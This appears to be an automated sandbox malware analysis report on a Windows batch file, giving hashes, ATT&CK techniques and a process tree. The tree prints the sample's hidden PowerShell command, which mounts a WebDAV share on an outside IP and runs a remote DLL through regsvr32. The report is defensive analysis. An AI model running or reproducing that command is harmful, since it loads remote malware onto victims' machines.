eb1a711124be7a44e434e24ff215fd0db698ef6df6754342efb6632263ed8d7d

Analysis

max time kernel
100s
max time network
20s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
22/07/2024, 22:08

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General

Target

656118615549517891.bat
Size

7KB
MD5

ab57bdebd0aa7e52dee5bd0e03933fc8
SHA1

fc85ff53765efe270b49cae0020f528a6dd0bb74
SHA256

eb1a711124be7a44e434e24ff215fd0db698ef6df6754342efb6632263ed8d7d
SHA512

6886de4368336d870c824705bd7a61b61dfc38091480b61e9ab30b2038dc576c69dfcf230ec36b3cb83040fc652618ce1db2a0711da74cc65da0c890e4cc380c
SSDEEP

192:RGx+sAmt2T8o9fDM20x06piSgALhg5mGmARU:RGxHAm88o9Z2GmAy

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2712	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2712	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2712	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2604	wordpad.exe
2604	wordpad.exe
2604	wordpad.exe
2604	wordpad.exe
2604	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2240 wrote to memory of 2604	2240	cmd.exe	29
PID 2240 wrote to memory of 2604	2240	cmd.exe	29
PID 2240 wrote to memory of 2604	2240	cmd.exe	29
PID 2240 wrote to memory of 2712	2240	cmd.exe	30
PID 2240 wrote to memory of 2712	2240	cmd.exe	30
PID 2240 wrote to memory of 2712	2240	cmd.exe	30
PID 2712 wrote to memory of 2632	2712	powershell.exe	32
PID 2712 wrote to memory of 2632	2712	powershell.exe	32
PID 2712 wrote to memory of 2632	2712	powershell.exe	32
PID 2712 wrote to memory of 2776	2712	powershell.exe	33
PID 2712 wrote to memory of 2776	2712	powershell.exe	33
PID 2712 wrote to memory of 2776	2712	powershell.exe	33
PID 2712 wrote to memory of 2776	2712	powershell.exe	33
PID 2712 wrote to memory of 2776	2712	powershell.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\656118615549517891.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2240
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\19146798716654.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2632
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\19146798716654.dll
    3⤵
    PID:2776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2712-24-0x000000001B0F0000-0x000000001B3D2000-memory.dmp

Filesize
2.9MB

Download
memory/2712-25-0x00000000025E0000-0x00000000025E8000-memory.dmp

Filesize
32KB

Download